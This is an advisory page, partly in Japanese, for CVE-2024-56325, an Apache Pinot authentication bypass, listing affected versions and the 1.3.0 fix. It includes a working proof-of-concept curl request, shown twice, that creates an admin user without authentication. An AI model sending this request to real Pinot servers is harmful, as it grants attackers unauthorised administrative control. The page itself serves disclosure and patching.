Apache Pinot Vulnerable to Authentication Bypass

緊急 9.8CVE-2024-56325 · GHSA-6jwp-4wvj-6597 · 01/04/2025 公開 · 17/06/2026 更新

要点

CVE-2024-56325 は org.apache.pinot:pinot-broker, org.apache.pinot:pinot-common, org.apache.pinot:pinot-controller に影響する深刻度「緊急」 (CVSS 9.8) の脆弱性です。
今後30日間に悪用される確率（EPSS）：80.2%（全脆弱性の 99.6% より高い）。
対処：1.3.0 以降に更新してください。

パッケージ	影響を受けるバージョン	修正済みバージョン
org.apache.pinot:pinot-broker Maven	`≥ 0.8.0, < 1.3.0`	`1.3.0`
org.apache.pinot:pinot-common Maven	`≥ 0.8.0, < 1.3.0`	`1.3.0`
org.apache.pinot:pinot-controller Maven	`≥ 0.8.0, < 1.3.0`	`1.3.0`
pinot apache	`< 1.3.0`	`1.3.0`

概要

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {"username":"hack2","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"} http://{server_ip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{"username":"hack","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .

Return: {"users":{}}

A new user gets added bypassing authentication, enabling the user to control Pinot.

NVD の説明

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.